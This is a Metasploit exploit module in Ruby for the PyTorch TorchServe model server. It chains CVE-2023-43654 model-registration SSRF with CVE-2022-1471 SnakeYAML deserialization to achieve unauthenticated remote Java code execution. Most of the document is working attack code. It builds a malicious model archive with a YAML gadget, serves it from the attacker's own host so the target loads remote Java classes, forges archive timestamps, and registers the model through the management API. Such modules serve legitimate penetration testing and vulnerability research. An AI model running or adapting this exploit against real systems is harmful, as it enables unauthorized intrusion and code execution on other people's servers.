The PyTorch model server contains multiple vulnerabilities that can be chained together to permit an unauthenticated remote attacker arbitrary Java code execution. The first vulnerability is that the management interface is bound to all IP addresses and not just the loop back interface as the documentation suggests. The second vulnerability (CVE-2023-43654) allows attackers with access to the management interface to register MAR model files from arbitrary servers. The third vulnerability is that when an MAR file is loaded, it can contain a YAML configuration file that when deserialized by snakeyaml, can lead to loading an arbitrary Java class.
8f8eaa5fb149254fafc287442e21135c92b2e8d534cc824ab39c2e34d6b3afb6
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/zip'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Java
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Java::HTTP::ClassLoader
def initialize(_info = {})
super(
'Name' => 'PyTorch Model Server Registration and Deserialization RCE',
'Description' => %q{
The PyTorch model server contains multiple vulnerabilities that can be chained together to permit an
unauthenticated remote attacker arbitrary Java code execution. The first vulnerability is that the management
interface is bound to all IP addresses and not just the loop back interface as the documentation suggests. The
second vulnerability (CVE-2023-43654) allows attackers with access to the management interface to register MAR
model files from arbitrary servers. The third vulnerability is that when an MAR file is loaded, it can contain a
YAML configuration file that when deserialized by snakeyaml, can lead to loading an arbitrary Java class.
},
'Author' => [
'Idan Levcovich', # vulnerability discovery and research
'Guy Kaplan', # vulnerability discovery and research
'Gal Elbaz', # vulnerability discovery and research
'Swapneil Kumar Dash', # snakeyaml deserialization research
'Spencer McIntyre' # metasploit module
],
'References' => [
[ 'URL', 'https://www.oligo.security/blog/shelltorch-torchserve-ssrf-vulnerability-cve-2023-43654' ],
[ 'CVE', '2023-43654' ], # model registration SSRF
[ 'URL', 'https://github.com/pytorch/serve/security/advisories/GHSA-8fxr-qfr9-p34w' ],
[ 'CVE', '2022-1471' ], # snakeyaml deserialization RCE
[ 'URL', 'https://github.com/google/security-research/security/advisories/GHSA-mjmj-j48q-9wg2' ],
[ 'URL', 'https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in' ],
[ 'URL', 'https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858' ]
],
'DisclosureDate' => '2023-10-03',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 8081
},
'Targets' => [
[
'Automatic', {
'Platform' => 'java',
'Arch' => [ARCH_JAVA]
}
],
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
end
def check
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'api-description'))
return Exploit::CheckCode::Unknown unless res
return Exploit::CheckCode::Safe unless res.code == 200
unless res.get_json_document.dig('info', 'title') == 'TorchServe APIs'
return Exploit::CheckCode::Safe('The TorchServe API was not detected on the target.')
end
version = res.get_json_document.dig('info', 'version')
return Exploit::CheckCode::Detected unless version.present?
unless Rex::Version.new(version) < Rex::Version.new('8.0.2')
return Exploit::CheckCode::Safe("Version #{version} is patched.")
end
Exploit::CheckCode::Appears("Version #{version} is vulnerable.")
end
def class_name
'MyScriptEngineFactory'
end
def constructor_class
::File.binread(::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-1471', "#{class_name}.class"))
end
def on_request_uri(cli, request)
if request.relative_resource.end_with?("#{@model_name}.mar")
print_good('Sending model archive')
send_response(cli, generate_mar, { 'Content-Type' => 'application/octet-stream' })
return
end
if request.relative_resource.end_with?('services/javax.script.ScriptEngineFactory')
vprint_good('Sending ScriptEngineFactory class name')
send_response(cli, class_name, { 'Content-Type' => 'application/octet-string' })
return
end
super(cli, request)
end
def generate_mar
config_file = rand_text_alphanumeric(8..15) + '.yml'
serialized_file = rand_text_alphanumeric(8..15) + '.pt'
mri = Rex::Zip::Archive.new
mri.add_file(serialized_file, '') # an empty data file is sufficient for exploitation
mri.add_file('MAR-INF/MANIFEST.json', JSON.generate({
'createdOn' => (Time.now - Random.rand(600..1199)).strftime('%d/%m/%Y %H:%M:%S'), # forge a timestamp of 10-20 minutes ago
'runtime' => 'python',
'model' => {
'modelName' => @model_name,
'serializedFile' => serialized_file,
'handler' => %w[image_classifier object_detector text_classifier image_segmenter].sample,
'modelVersion' => '1.0',
'configFile' => config_file
},
'archiverVersion' => '0.8.2'
}))
mri.add_file(config_file, %( !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["#{get_uri}/"]]]] ))
mri.pack
end
def exploit
start_service
@model_name = rand_text_alphanumeric(8..15)
print_status('Registering the model archive...')
# see: https://pytorch.org/serve/management_api.html#register-a-model
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'models'),
'vars_get' => { # *must* be vars_get and not vars_post!
'url' => "#{get_uri}#{@model_name}.mar"
}
})
handler
end
def cleanup
super
return unless @model_name
# see: https://pytorch.org/serve/management_api.html#unregister-a-model
send_request_cgi({
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, 'models', @model_name, '1.0')
})
end
end